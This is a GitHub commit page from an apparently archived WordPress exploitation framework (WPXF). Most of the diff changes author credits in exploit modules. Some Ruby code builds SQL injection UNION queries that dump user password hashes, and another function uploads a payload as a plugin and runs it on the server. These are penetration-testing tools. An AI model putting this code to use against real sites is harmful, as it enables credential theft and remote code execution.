Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit c496255

Browse files
committed
Merge branch 'development'
2 parents 50f2c83 + ce1a079 commit c496255

File tree

238 files changed

+894
-482
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

238 files changed

+894
-482
lines changed

VERSION

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
1.8
1+
1.8.1

lib/wpxf/wordpress/hash_dump.rb

Lines changed: 19 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -29,9 +29,14 @@ def reveals_one_row_per_request
2929
false
3030
end
3131

32+
# @return [Array] an array of values to use in the generated union statement.
33+
def hashdump_custom_union_values
34+
[]
35+
end
36+
3237
# @return [String] a unique SQL select statement that can be used to extract the hashes.
3338
def hashdump_sql_statement
34-
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
39+
cols = hashdump_union_cols
3540
cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,user_login,0x3a,user_pass,0x3a,#{eof_token})"
3641

3742
query = "select #{cols.join(',')} from #{table_prefix}users"
@@ -40,9 +45,9 @@ def hashdump_sql_statement
4045
"#{query} limit #{current_row},1"
4146
end
4247

43-
# @return [String] a unique SEL select statement that can be used to fingerprint the database prefix.
48+
# @return [String] a unique select statement that can be used to fingerprint the database prefix.
4449
def hashdump_prefix_fingerprint_statement
45-
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
50+
cols = hashdump_union_cols
4651
cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,table_name,0x3a,#{eof_token})"
4752

4853
query = "select #{cols.join(',')} from information_schema.tables where table_schema = database()"
@@ -100,7 +105,7 @@ def run
100105

101106
@current_row = 0
102107
emit_info 'Dumping user hashes...'
103-
hashes = dump_and_parse_hashes
108+
hashes = dump_and_parse_hashes.uniq
104109
output_hashdump_table(hashes)
105110

106111
export_hashes(hashes) if export_path
@@ -109,6 +114,16 @@ def run
109114

110115
private
111116

117+
def hashdump_union_cols
118+
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
119+
120+
hashdump_custom_union_values.each_with_index do |value, index|
121+
cols[index] = value unless value.nil?
122+
end
123+
124+
cols
125+
end
126+
112127
def bof_token
113128
@bof_token
114129
end

lib/wpxf/wordpress/plugin.rb

Lines changed: 26 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,9 +7,12 @@ module Wpxf::WordPress::Plugin
77
# @return [String, nil] the nonce, nil on error.
88
def wordpress_plugin_upload_nonce(cookie)
99
res = execute_get_request(url: wordpress_url_plugin_upload, cookie: cookie)
10-
if res && res.code == 200
10+
11+
if res&.code == 200
1112
return res.body[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
1213
end
14+
15+
nil
1316
end
1417

1518
# Create and upload a plugin that encapsulates the current payload.
@@ -22,11 +25,29 @@ def wordpress_upload_payload_plugin(name, payload_name, cookie)
2225
return false if nonce.nil?
2326

2427
res = wordpress_upload_plugin(name, payload_name, cookie, nonce)
25-
if res && res.code == 200
26-
return true
27-
else
28-
return false
28+
res&.code == 200
29+
end
30+
31+
# Upload and execute a payload as a plugin.
32+
# @param plugin_name [String] the name of the plugin.
33+
# @param payload_name [String] the name the payload should use on the server.
34+
# @param cookie [String] a valid admin session cookie.
35+
# @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the request.
36+
def wordpress_upload_and_execute_payload_plugin(plugin_name, payload_name, cookie)
37+
unless wordpress_upload_payload_plugin(plugin_name, payload_name, cookie)
38+
emit_error 'Failed to upload the payload'
39+
return nil
2940
end
41+
42+
payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
43+
emit_info "Executing the payload at #{payload_url}..."
44+
res = execute_get_request(url: payload_url)
45+
46+
if res&.code == 200 && !res.body.strip.empty?
47+
emit_success "Result: #{res.body}"
48+
end
49+
50+
res
3051
end
3152

3253
# Generate a valid WordPress plugin header / base file.

lib/wpxf/wordpress/urls.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -123,4 +123,9 @@ def wordpress_url_rest_api
123123
def wordpress_url_comments_post
124124
normalize_uri(full_uri, 'wp-comments-post.php')
125125
end
126+
127+
# @return [String] the admin / plugin options URL.
128+
def wordpress_url_admin_options
129+
normalize_uri(wordpress_url_admin, 'admin.php')
130+
end
126131
end

modules/auxiliary/ad_widget_php_file_download.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ def initialize
99
update_info(
1010
name: 'Ad-Widget <= 2.11.0 Authenticated PHP File Download',
1111
author: [
12-
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
'rastating' # WPXF module
1313
],
1414
references: [
1515
['WPVDB', '8789']

modules/auxiliary/all_in_one_migration_export.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,8 @@ def initialize
1414
All-in-One Migration plugin in versions < 2.0.5.
1515
),
1616
author: [
17-
'James Golovich', # Disclosure
18-
'Rob Carr <rob[at]rastating.com>' # WPXF module
17+
'James Golovich', # Disclosure
18+
'rastating' # WPXF module
1919
],
2020
references: [
2121
['WPVDB', '7857'],

modules/auxiliary/antioch_arbitrary_file_download.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,8 @@ def initialize
99
update_info(
1010
name: 'Antioch Theme Arbitrary File Download',
1111
author: [
12-
'Ashiyane Digital Security Team', # Disclosure
13-
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
'Ashiyane Digital Security Team', # Disclosure
13+
'rastating' # WPXF module
1414
],
1515
references: [
1616
['WPVDB', '8406']

modules/auxiliary/candidate_application_form_arbitrary_file_download.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,8 @@ def initialize
99
update_info(
1010
name: 'Candidate Application Form Arbitrary File Download',
1111
author: [
12-
'Larry W. Cashdollar', # Disclosure
13-
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
'Larry W. Cashdollar', # Disclosure
13+
'rastating' # WPXF module
1414
],
1515
references: [
1616
['EDB', '37754']

modules/auxiliary/cp_image_store_arbitrary_file_download.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,8 @@ def initialize
1414
file accessible by the user the web server is running as.
1515
),
1616
author: [
17-
'Joaquin Ramirez Martinez', # Disclosure
18-
'Rob Carr <rob[at]rastating.com>' # WPXF module
17+
'Joaquin Ramirez Martinez', # Disclosure
18+
'rastating' # WPXF module
1919
],
2020
references: [
2121
['EDB', '37559']

modules/auxiliary/custom_contact_forms_privilege_escalation.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,8 @@ def initialize
1313
'5.1.0.3, allows unauthenticated users to create new admin users '\
1414
'due to lack of validation when uploading SQL files.',
1515
author: [
16-
'Marc-Alexandre Montpas', # Vulnerability discovery
17-
'Rob Carr <rob[at]rastating.com>' # WPXF module
16+
'Marc-Alexandre Montpas', # Vulnerability discovery
17+
'rastating' # WPXF module
1818
],
1919
references: [
2020
['URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html'],

modules/auxiliary/direct_download_for_woocommerce_file_download.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,8 @@ def initialize
99
update_info(
1010
name: 'Direct Download for WooCommerce <= 1.15 File Download',
1111
author: [
12-
'Diego Celdran Morell', # Disclosure
13-
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
'Diego Celdran Morell', # Disclosure
13+
'rastating' # WPXF module
1414
],
1515
references: [
1616
['WPVDB', '8724']

modules/auxiliary/download_manager_authenticated_privilege_escalation.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,8 +12,8 @@ def initialize
1212
'allows authenticated users to escalate their user role to '\
1313
'that of an administrator.',
1414
author: [
15-
'James Golovich', # Disclosure
16-
'Rob Carr <rob[at]rastating.com>' # WPXF module
15+
'James Golovich', # Disclosure
16+
'rastating' # WPXF module
1717
],
1818
references: [
1919
['WPVDB', '8365'],

modules/auxiliary/download_manager_directory_listing_disclosure.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,8 +16,8 @@ def initialize
1616
'versions < 2.8.3 of the Download Manager plugin to get '\
1717
'the directory listing of the specified directory.',
1818
author: [
19-
'James Golovich', # Disclosure
20-
'Rob Carr <rob[at]rastating.com>' # WPXF module
19+
'James Golovich', # Disclosure
20+
'rastating' # WPXF module
2121
],
2222
references: [
2323
['WPVDB', '8365'],

modules/auxiliary/download_manager_privilege_escalation.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,8 @@ def initialize
1515
'allows unauthenticated users to create new admin users '\
1616
'due to lack of validation wpdm_ajax_call_exec.',
1717
author: [
18-
'Mickael Nadeau', # Vulnerability discovery
19-
'Rob Carr <rob[at]rastating.com>' # WPXF module
18+
'Mickael Nadeau', # Vulnerability discovery
19+
'rastating' # WPXF module
2020
],
2121
references: [
2222
['EDB', '35533'],

modules/auxiliary/download_monitor_log_export.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,8 @@ def initialize
1515
includes: Download ID, Version ID, Filename, User ID, User Login, User Email, User IP, User Agent, Date, Status
1616
),
1717
author: [
18-
'James Golovich', # Disclosure
19-
'Rob Carr <rob[at]rastating.com>' # WPXF module
18+
'James Golovich', # Disclosure
19+
'rastating' # WPXF module
2020
],
2121
references: [
2222
['WPVDB', '8810']

modules/auxiliary/duplicator_csrf_db_export.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,8 @@ def initialize
1515
visits the generated web page.
1616
),
1717
author: [
18-
'RatioSec Research', # Discovery and disclosure
19-
'Rob Carr <rob[at]rastating.com>' # WPXF module
18+
'RatioSec Research', # Discovery and disclosure
19+
'rastating' # WPXF module
2020
],
2121
references: [
2222
['WPVDB', '8388'],

modules/auxiliary/easy_cart_privilege_escalation.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ def initialize
2222
'a new account with admin privileges via the default registration '\
2323
'page found at /wp-login.php?action=register.',
2424
author: [
25-
'Rob Carr <rob[at]rastating.com>' # Discovery and WPXF module
25+
'rastating' # Discovery and WPXF module
2626
],
2727
references: [
2828
['CVE', '2015-2673'],

modules/auxiliary/email_users_csrf_bulk_mail.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,8 +12,8 @@ def initialize
1212
'the Email Users plugin, which allows for the sending of a bulk e-mail to '\
1313
'all users of a specified role.',
1414
author: [
15-
'Julien Rentrop', # Disclosure
16-
'Rob Carr <rob[at]rastating.com>' # WPXF module
15+
'Julien Rentrop', # Disclosure
16+
'rastating' # WPXF module
1717
],
1818
references: [
1919
['WPVDB', '8601'],

modules/auxiliary/events_hash_dump.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,8 @@ def initialize
1515
to dump the hashed passwords of all users in the database.
1616
),
1717
author: [
18-
'Lenon Leite', # Disclosure
19-
'Rob Carr <rob[at]rastating.com>' # WPXF module
18+
'Lenon Leite', # Disclosure
19+
'rastating' # WPXF module
2020
],
2121
references: [
2222
['WPVDB', '8954'],

modules/auxiliary/gallery_album_hash_dump.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,8 @@ def initialize
1515
to dump the hashed passwords of all users in the database.
1616
),
1717
author: [
18-
'Manuel Garcia Cardenas', # Disclosure
19-
'Rob Carr <rob[at]rastating.com>' # WPXF module
18+
'Manuel Garcia Cardenas', # Disclosure
19+
'rastating' # WPXF module
2020
],
2121
references: [
2222
['WPVDB', '8907'],

modules/auxiliary/ghost_unrestricted_export_download.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,8 +12,8 @@ def initialize
1212
'<= 0.5.5 of the Ghost plugin to download an export of the WordPress '\
1313
'data, including usernames and e-mail addresses.',
1414
author: [
15-
'Josh Brody', # Disclosure
16-
'Rob Carr <rob[at]rastating.com>' # WPXF module
15+
'Josh Brody', # Disclosure
16+
'rastating' # WPXF module
1717
],
1818
references: [
1919
['WPVDB', '8479']

modules/auxiliary/history_collection_arbitrary_file_download.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,8 @@ def initialize
1414
file accessible by the user the web server is running as.
1515
),
1616
author: [
17-
'Kuroi\'SH', # Disclosure
18-
'Rob Carr <rob[at]rastating.com>' # WPXF module
17+
'Kuroi\'SH', # Disclosure
18+
'rastating' # WPXF module
1919
],
2020
references: [
2121
['EDB', '37254']

modules/auxiliary/imdb_profile_widget_arbitrary_file_download.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,8 @@ def initialize
99
update_info(
1010
name: 'IMDb Profile Widget <= 1.0.8 Arbitrary File Download',
1111
author: [
12-
'CrashBandicot @DosPerl', # Disclosure
13-
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
'CrashBandicot @DosPerl', # Disclosure
13+
'rastating' # WPXF module
1414
],
1515
references: [
1616
['WPVDB', '8426'],

modules/auxiliary/jtrt_responsive_tables_hash_dump.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,8 +16,8 @@ def initialize
1616
of all users in the database.
1717
),
1818
author: [
19-
'Lenon Leite', # Disclosure
20-
'Rob Carr <rob[at]rastating.com>' # WPXF module
19+
'Lenon Leite', # Disclosure
20+
'rastating' # WPXF module
2121
],
2222
references: [
2323
['WPVDB', '8953'],

modules/auxiliary/long_password_dos.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,9 +16,9 @@ def initialize
1616
'of service via a long password that is improperly handled during '\
1717
'hashing.',
1818
author: [
19-
'Javier Nieto Arevalo', # Vulnerability disclosure
19+
'Javier Nieto Arevalo', # Vulnerability disclosure
2020
'Andres Rojas Guerrero', # Vulnerability disclosure
21-
'Rob Carr <rob[at]rastating.com>' # WPXF module
21+
'rastating' # WPXF module
2222
],
2323
references: [
2424
['CVE', '2014-9034'],

modules/auxiliary/mail_masta_unauthenticated_local_file_inclusion.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,8 @@ def initialize
99
update_info(
1010
name: 'Mail Masta Unauthenticated Local File Inclusion',
1111
author: [
12-
'Guillermo Garcia Marcos', # Disclosure
13-
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
'Guillermo Garcia Marcos', # Disclosure
13+
'rastating' # WPXF module
1414
],
1515
desc: 'This module exploits a vulnerability which allows you to include any arbitrary file '\
1616
'accessible by the user the web server is running as into the executing script.',

modules/auxiliary/membership_simplified_arbitrary_file_download.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,8 @@ def initialize
1414
in order to bypass mitigation within the plugin.
1515
),
1616
author: [
17-
'Larry W. Cashdollar', # Disclosure
18-
'Rob Carr <rob[at]rastating.com>' # WPXF module
17+
'Larry W. Cashdollar', # Disclosure
18+
'rastating' # WPXF module
1919
],
2020
references: [
2121
['CVE', '2017-1002008'],

modules/auxiliary/memphis_documents_library_arbitrary_file_download.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,8 @@ def initialize
99
update_info(
1010
name: 'Memphis Documents Library <= 3.1.5 Arbitrary File Download',
1111
author: [
12-
'Felipe Molina', # Disclosure
13-
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
'Felipe Molina', # Disclosure
13+
'rastating' # WPXF module
1414
],
1515
references: [
1616
['WPVDB', '8419']

modules/auxiliary/platform_privilege_escalation.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -21,8 +21,8 @@ def initialize
2121
'privileges via the default registration page found at '\
2222
'/wp-login.php?action=register.',
2323
author: [
24-
'Marc-Alexandre Montpas', # Vulnerability discovery
25-
'Rob Carr <rob[at]rastating.com>' # WPXF module
24+
'Marc-Alexandre Montpas', # Vulnerability discovery
25+
'rastating' # WPXF module
2626
],
2727
references: [
2828
['URL', 'http://blog.sucuri.net/2015/01/security-advisory-vulnerabilities-in-pagelinesplatform-theme-for-wordpress.html'],

modules/auxiliary/post_grid_file_deletion.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,8 +12,8 @@ def initialize
1212
'the Post Grid plugin which allows you to delete any arbitrary '\
1313
'file accessible by the user the web server is running as.',
1414
author: [
15-
'White Fir Design', # Disclosure
16-
'Rob Carr <rob[at]rastating.com>' # WPXF module
15+
'White Fir Design', # Disclosure
16+
'rastating' # WPXF module
1717
],
1818
references: [
1919
['WPVDB', '8667'],

0 commit comments

Comments
 (0)